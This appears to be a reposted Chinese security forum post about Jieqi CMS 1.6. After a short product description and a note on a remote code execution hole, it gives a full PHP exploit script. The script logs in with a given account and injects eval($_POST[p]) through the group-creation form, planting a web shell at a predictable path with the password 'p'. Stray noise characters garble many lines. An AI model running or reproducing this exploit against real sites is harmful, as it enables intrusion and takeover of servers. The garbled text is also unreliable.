杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
l+ L) ]3 }: Y
" n! e3 @8 `8 v. w7 e7 A $ r) t( r" y# g( |3 s6 A: b& T% l9 M! P
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
8 j c% P; a8 D8 q 需要有一个能创建圈子的用户。
) d% @7 u( O1 Z a& d# F6 R+ Z
7 a* k! i! j- f<?php
' D2 R! g% m# r2 R. ?9 g3 P
& W0 Y' {: }, W$ Xprint_r('
1 o& W, O2 [* @; T) b3 x7 ?6 Q+---------------------------------------------------------------------------+; ~7 R+ n% S0 X$ w
Jieqi CMS V1.6 PHP Code Injection Exploit- j/ C2 Z- o1 R" l
by flyh4t/ p7 Y1 s( X$ f1 s: }8 W/ Q
mail: phpsec at hotmail dot com
2 W% l- b1 W) E9 Xteam: http://www.wolvez.org
; b$ t# N. `0 J4 V+---------------------------------------------------------------------------+" C& d; }: [; @& Z8 x9 C/ a
'); /**# r' b: |$ r* [6 K) O$ L2 G
* works regardless of php.ini settings
* d; V% h/ P, p$ f& `*/ if ($argc < 5) { print_r('3 l5 O# y# R% s$ B" ?+ ?' j
+---------------------------------------------------------------------------+
; L I. h8 {. V! QUsage: php '.$argv[0].' host path username
/ y& b* s0 @/ ~2 p9 o( E5 y! Ehost: target server (ip/hostname)/ f0 |/ X, N* `- ?. U. r( z9 o* j: j
path: path to jieqicms
6 }: Q0 g3 O$ L1 buasename: a username who can create group
3 M! M# _; h, c) P, ~Example:! g k9 q; X" g. Q
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
2 {- b9 P9 s* A) T7 a+---------------------------------------------------------------------------+6 B6 z7 Y7 S) B
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
. R' j7 r* i! C- B; SContent-Disposition: form-data; name="gname"1 x# c. _- ~- v& P+ L# I
n$ C7 W+ q1 C9 ^* _'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
+ f5 x: _9 i: L/ C; q5 `-----------------------------23281168279961
1 Z7 h# j7 W, a, iContent-Disposition: form-data; name="gcatid"
3 Q) U c- w' Y+ | ; _+ V% O, g8 w& j
1" i& M' `- s9 y& o1 k
-----------------------------232811682799619 m! v0 Z; L( S6 G2 Z7 K
Content-Disposition: form-data; name="gaudit"' y Z$ t3 j; V" m
. R' w1 l, W; ?14 B- Q% P/ {6 W8 T
-----------------------------23281168279961
% ?* \. o( Z$ W9 {# R' T! VContent-Disposition: form-data; name="gbrief"5 j) o$ ~/ D; C) O6 {) Z
' O: C2 I. D, g
1
5 [5 W7 H% j C- N% \1 V! c-----------------------------23281168279961--
u5 }6 y6 w7 Y! {'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com+ r' g* `$ w. w; p! \! v4 H3 T
* q0 j) u3 N+ i+ a# `$ @5 Lpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |